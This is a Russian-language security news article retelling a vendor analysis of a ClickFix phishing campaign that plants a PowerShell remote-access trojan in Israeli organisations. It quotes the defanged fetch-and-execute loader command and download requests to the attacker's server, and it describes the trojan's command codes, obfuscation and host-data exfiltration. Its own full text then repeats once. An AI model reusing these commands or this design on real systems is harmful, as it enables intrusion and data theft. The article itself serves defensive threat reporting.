PowerShell-призрак спит по 7 секунд и крадет чужую инфраструктуру.
Аналитики FortiMail Workspace Security выявили адресную кампанию против израильских компаний и организаций инфраструктурных отраслей. Преступники задействовали скомпрометированную внутреннюю почтовую систему и рассылали убедительные сообщения по региональным адресатам. Эта волна запускала многоступенчатую цепочку на базе PowerShell без каких-либо внешних исполняемых файлов: в финале на хост попадал троян удалённого доступа (RAT), работающий целиком в скриптовой оболочке. По совокупности признаков риск высокий: зафиксированы утечка данных, скрытое наблюдение, закрепление в среде и перемещение внутри сети.
Приманка выглядела как приглашение на «наставническую встречу о действиях в период военных угроз и обращении с медицинскими и фармацевтическими запасами». Получателей просили поделиться материалами с коллегами, что увеличивало охват внутри организаций. Переход по ссылке вёл на поддельную страницу Microsoft Teams, копирующую интерфейс и предлагающую «Continue on this browser». Далее на экране появлялась подсказка: нажмите Windows+R, вставьте из буфера длинную строку и подтвердите Enter — социальная уловка , скрывающая запуск вредоносной команды PowerShell через диалог «Выполнить».
Разметка фишинговой страницы содержала строку Base64, разбитую на три части; после склейки и декодирования она давала команду на загрузку и исполнение удалённого сценария:
powershell IEX ((Invoke-RestMethod -Uri hxxps[:]//pharmacynod[.]com/Fix -Method GET)[.]note[.]body)
Эта строка инициировала обращение к серверу оператора и передавала управление следующему этапу.
Дальше с того же узла выгружались два файла. Сначала на диск сохранялся <em>test.html</em> по пути <em>C:\Users\Public\Downloads\test.html</em>, полученный вызовом <em>Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxps[:]//pharmacynod[.]com//31133?did=59MVRI –OutFile</em>. Внутри находился blob с длинной строкой между маркерами <tag>…</tag>. Затем выполнялся ещё один сетевой запрос: <em>(Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxps[:]//pharmacynod[.]com//35893?provider=68600).content</em>. Полученный код считывал одиннадцатую строку из <em>test.html</em>, извлекал содержимое между тегами, делил его по разделителю <em>kendrick</em>, превращал двоичные фрагменты в десятичные значения, конвертировал их в символы и, собрав исходный текст, исполнял результат через <em>IEX</em>. Для наглядности: из последовательности <em>kendrick1100110kendrick</em> после разбиения остаётся <em>1100110</em>; число <em>1100110₂</em> равно <em>102₁₀</em>, что даёт букву <em>f</em> при приведении к типу <em>[char]</em>.
Чтобы ускорить разбор, исследователи написали короткий Python-декодер. На выходе получилась сжатая строка в Base64 с конструкцией <em>IEX (Decompress-Base64-String "....")</em>. Процесс следующий: раскодировать и распаковать буфер, затем передать получившийся текст в интерпретатор PowerShell. Для этого в теле сценария определялась функция распаковки (GZip + Base64), после чего декодированный массив отправлялся в неё и сохранялся как обычный <em>.ps1</em>.
Сетевое поведение жёстко привязано к одному домену: <em>$global:SRV = "hxxps[:]//pharmacynod[.]com/"</em>. Обмен шёл по HTTPS. Сразу после старта выполнялась регистрация заражённой системы («init»): собирались параметры окружения — домен Windows, имя узла, учётная запись — данные объединялись, дважды проходили через GZip и кодировку Base64, затем разворачивались (реверс строки) с дополнительной обфускацией и отправлялись на эндпоинт <em>/16625</em>. Далее запускался бесконечный цикл с паузами на случайный интервал около 2–7 секунд для имитации пользовательской активности. Для опроса управляющей стороны применялась функция <em>Get-Appversion</em>, выполнявшая POST-запрос и получавшая инструкции в сжатом и перевёрнутом виде; локальная подпрограмма <em>Get-Decompress</em> приводила их к исходному виду.
Команды помечались числовыми кодами. Маркер <em>7979</em> инициировал повторную инициализацию — формировались идентификаторы заново и обновлялось соединение. Значение <em>5322</em> предписывало скачать удалённый объект и сохранить на диск: из ответа извлекались URL и имя файла, а загрузка шла через <em>System.Net.WebClient</em> в рамках функции <em>Get-File</em>. Число <em>4622</em> меняло интервал опроса: новый параметр парсился и записывался в глобальную переменную <em>$time</em>, что позволяло оператору управлять частотой «маяков». Код <em>2474</em> означал удалённое выполнение произвольной команды в PowerShell: полезная нагрузка сначала декодировалась и распаковывалась, затем запускалась через <em>IEX</em>; вывод вместе с ошибками сжимался, дважды разворачивался и отправлялся на <em>/17361</em>. Такой набор даёт полноценный RCE, подгрузку модулей и выкачку результатов.
С атрибуцией однозначности нет. В наблюдаемом инциденте противник последовательно взламывал израильские компании в течение нескольких дней и использовал каждую скомпрометированную площадку как отправную точку для следующих целей — приём характерен для MuddyWater. При этом есть отличия: сознательный отказ от RMM-инструментов и публичных файловых хостингов, ставка исключительно на PowerShell, стартовый приём «ClickFix» вместо стандартных дропперов. Инфраструктура, региональная направленность и приёмы работы со скриптами во многом совпадают с прежними эпизодами, однако уникальная последовательность стадий оставляет пространство для сомнений: либо эволюция подхода, либо другой актор, заимствующий привычные тактики.
Для скрытности применялась многоуровневая обфускация и маскировка трафика. Полезные нагрузки и ответы C2 кодировались и сжимались (двойной GZip, Base64, реверс строк, замена <em>+</em> на <em>_</em> для совместимости с URL). Для транспорта использовались нативные вызовы .NET, в заголовок подставлялся реалистичный User-Agent через <em>urlmon.dll</em>, применялись учётные данные по умолчанию и системные прокси-настройки — всё ради сходства с обычной пользовательской активностью. В отчёте также приведено сопоставление этапов операции с матрицей MITRE ATT&CK .
Средства Fortinet закрывают атаку на нескольких уровнях. Сигнатура FortiGuard Antivirus определяет семейство как <em>PowerShell/Agent.PH!tr</em>. FortiMail Workspace Security блокирует цепочку доставки через почту. FortiEDR пресекает запуск вредоносных сценариев , препятствует внедрению в память и выявляет пост-эксплуатационную активность, характерную для RAT и загрузчиков. Межсетевые экраны FortiGate с IPS отсекают обмен с командными узлами и типичные HTTPS-маяки, FortiGuard DNS/Web Filtering не пускают на известные опасные домены, включая <em>pharmacynod[.]com</em>. Платформы наблюдения FortiAnalyzer и FortiSIEM дают сводную картину и корреляцию событий, а FortiNDR дополняет покрытие поведенческой аналитикой и ML для обнаружения сценариев без файлов или с упором на скрипты. Базы угроз оперативно обновляются FortiGuard Labs; подозревающим компрометацию рекомендуют связаться с FortiGuard Incident Response.
Индикаторы скомпрометированности и характерные признаки включают набор обфускаций (двойное GZip-сжатие, Base64, реверс, подмена символа <em>+</em> на <em>_</em>), домен C2 <em>hxxps[:]//pharmacynod[.]com/</em>, путь для регистрации <em>/16625</em>, эндпоинт для результатов команд <em>/17361</em>, а также хэш SHA-256 <em>46a76b3c7851f30d68ebc6a5584bc099435b0544d8707fff7a9178f46046708b</em> для образца на PowerShell. С учётом подтверждённого охвата и нацеленности на израильский бизнес и критически важные службы, быстрые детекторы подобных паттернов и их приоритизация — обязательная мера для региональных организаций с высоким риском.
Аналитики FortiMail Workspace Security выявили адресную кампанию против израильских компаний и организаций инфраструктурных отраслей. Преступники задействовали скомпрометированную внутреннюю почтовую систему и рассылали убедительные сообщения по региональным адресатам. Эта волна запускала многоступенчатую цепочку на базе PowerShell без каких-либо внешних исполняемых файлов: в финале на хост попадал троян удалённого доступа (RAT), работающий целиком в скриптовой оболочке. По совокупности признаков риск высокий: зафиксированы утечка данных, скрытое наблюдение, закрепление в среде и перемещение внутри сети.
Приманка выглядела как приглашение на «наставническую встречу о действиях в период военных угроз и обращении с медицинскими и фармацевтическими запасами». Получателей просили поделиться материалами с коллегами, что увеличивало охват внутри организаций. Переход по ссылке вёл на поддельную страницу Microsoft Teams, копирующую интерфейс и предлагающую «Continue on this browser». Далее на экране появлялась подсказка: нажмите Windows+R, вставьте из буфера длинную строку и подтвердите Enter — социальная уловка , скрывающая запуск вредоносной команды PowerShell через диалог «Выполнить».
Разметка фишинговой страницы содержала строку Base64, разбитую на три части; после склейки и декодирования она давала команду на загрузку и исполнение удалённого сценария:
powershell IEX ((Invoke-RestMethod -Uri hxxps[:]//pharmacynod[.]com/Fix -Method GET)[.]note[.]body)
Эта строка инициировала обращение к серверу оператора и передавала управление следующему этапу.
Дальше с того же узла выгружались два файла. Сначала на диск сохранялся <em>test.html</em> по пути <em>C:\Users\Public\Downloads\test.html</em>, полученный вызовом <em>Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxps[:]//pharmacynod[.]com//31133?did=59MVRI –OutFile</em>. Внутри находился blob с длинной строкой между маркерами <tag>…</tag>. Затем выполнялся ещё один сетевой запрос: <em>(Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxps[:]//pharmacynod[.]com//35893?provider=68600).content</em>. Полученный код считывал одиннадцатую строку из <em>test.html</em>, извлекал содержимое между тегами, делил его по разделителю <em>kendrick</em>, превращал двоичные фрагменты в десятичные значения, конвертировал их в символы и, собрав исходный текст, исполнял результат через <em>IEX</em>. Для наглядности: из последовательности <em>kendrick1100110kendrick</em> после разбиения остаётся <em>1100110</em>; число <em>1100110₂</em> равно <em>102₁₀</em>, что даёт букву <em>f</em> при приведении к типу <em>[char]</em>.
Чтобы ускорить разбор, исследователи написали короткий Python-декодер. На выходе получилась сжатая строка в Base64 с конструкцией <em>IEX (Decompress-Base64-String "....")</em>. Процесс следующий: раскодировать и распаковать буфер, затем передать получившийся текст в интерпретатор PowerShell. Для этого в теле сценария определялась функция распаковки (GZip + Base64), после чего декодированный массив отправлялся в неё и сохранялся как обычный <em>.ps1</em>.
Сетевое поведение жёстко привязано к одному домену: <em>$global:SRV = "hxxps[:]//pharmacynod[.]com/"</em>. Обмен шёл по HTTPS. Сразу после старта выполнялась регистрация заражённой системы («init»): собирались параметры окружения — домен Windows, имя узла, учётная запись — данные объединялись, дважды проходили через GZip и кодировку Base64, затем разворачивались (реверс строки) с дополнительной обфускацией и отправлялись на эндпоинт <em>/16625</em>. Далее запускался бесконечный цикл с паузами на случайный интервал около 2–7 секунд для имитации пользовательской активности. Для опроса управляющей стороны применялась функция <em>Get-Appversion</em>, выполнявшая POST-запрос и получавшая инструкции в сжатом и перевёрнутом виде; локальная подпрограмма <em>Get-Decompress</em> приводила их к исходному виду.
Команды помечались числовыми кодами. Маркер <em>7979</em> инициировал повторную инициализацию — формировались идентификаторы заново и обновлялось соединение. Значение <em>5322</em> предписывало скачать удалённый объект и сохранить на диск: из ответа извлекались URL и имя файла, а загрузка шла через <em>System.Net.WebClient</em> в рамках функции <em>Get-File</em>. Число <em>4622</em> меняло интервал опроса: новый параметр парсился и записывался в глобальную переменную <em>$time</em>, что позволяло оператору управлять частотой «маяков». Код <em>2474</em> означал удалённое выполнение произвольной команды в PowerShell: полезная нагрузка сначала декодировалась и распаковывалась, затем запускалась через <em>IEX</em>; вывод вместе с ошибками сжимался, дважды разворачивался и отправлялся на <em>/17361</em>. Такой набор даёт полноценный RCE, подгрузку модулей и выкачку результатов.
С атрибуцией однозначности нет. В наблюдаемом инциденте противник последовательно взламывал израильские компании в течение нескольких дней и использовал каждую скомпрометированную площадку как отправную точку для следующих целей — приём характерен для MuddyWater. При этом есть отличия: сознательный отказ от RMM-инструментов и публичных файловых хостингов, ставка исключительно на PowerShell, стартовый приём «ClickFix» вместо стандартных дропперов. Инфраструктура, региональная направленность и приёмы работы со скриптами во многом совпадают с прежними эпизодами, однако уникальная последовательность стадий оставляет пространство для сомнений: либо эволюция подхода, либо другой актор, заимствующий привычные тактики.
Для скрытности применялась многоуровневая обфускация и маскировка трафика. Полезные нагрузки и ответы C2 кодировались и сжимались (двойной GZip, Base64, реверс строк, замена <em>+</em> на <em>_</em> для совместимости с URL). Для транспорта использовались нативные вызовы .NET, в заголовок подставлялся реалистичный User-Agent через <em>urlmon.dll</em>, применялись учётные данные по умолчанию и системные прокси-настройки — всё ради сходства с обычной пользовательской активностью. В отчёте также приведено сопоставление этапов операции с матрицей MITRE ATT&CK .
Средства Fortinet закрывают атаку на нескольких уровнях. Сигнатура FortiGuard Antivirus определяет семейство как <em>PowerShell/Agent.PH!tr</em>. FortiMail Workspace Security блокирует цепочку доставки через почту. FortiEDR пресекает запуск вредоносных сценариев , препятствует внедрению в память и выявляет пост-эксплуатационную активность, характерную для RAT и загрузчиков. Межсетевые экраны FortiGate с IPS отсекают обмен с командными узлами и типичные HTTPS-маяки, FortiGuard DNS/Web Filtering не пускают на известные опасные домены, включая <em>pharmacynod[.]com</em>. Платформы наблюдения FortiAnalyzer и FortiSIEM дают сводную картину и корреляцию событий, а FortiNDR дополняет покрытие поведенческой аналитикой и ML для обнаружения сценариев без файлов или с упором на скрипты. Базы угроз оперативно обновляются FortiGuard Labs; подозревающим компрометацию рекомендуют связаться с FortiGuard Incident Response.
Индикаторы скомпрометированности и характерные признаки включают набор обфускаций (двойное GZip-сжатие, Base64, реверс, подмена символа <em>+</em> на <em>_</em>), домен C2 <em>hxxps[:]//pharmacynod[.]com/</em>, путь для регистрации <em>/16625</em>, эндпоинт для результатов команд <em>/17361</em>, а также хэш SHA-256 <em>46a76b3c7851f30d68ebc6a5584bc099435b0544d8707fff7a9178f46046708b</em> для образца на PowerShell. С учётом подтверждённого охвата и нацеленности на израильский бизнес и критически важные службы, быстрые детекторы подобных паттернов и их приоритизация — обязательная мера для региональных организаций с высоким риском.
- Источник новости
- www.securitylab.ru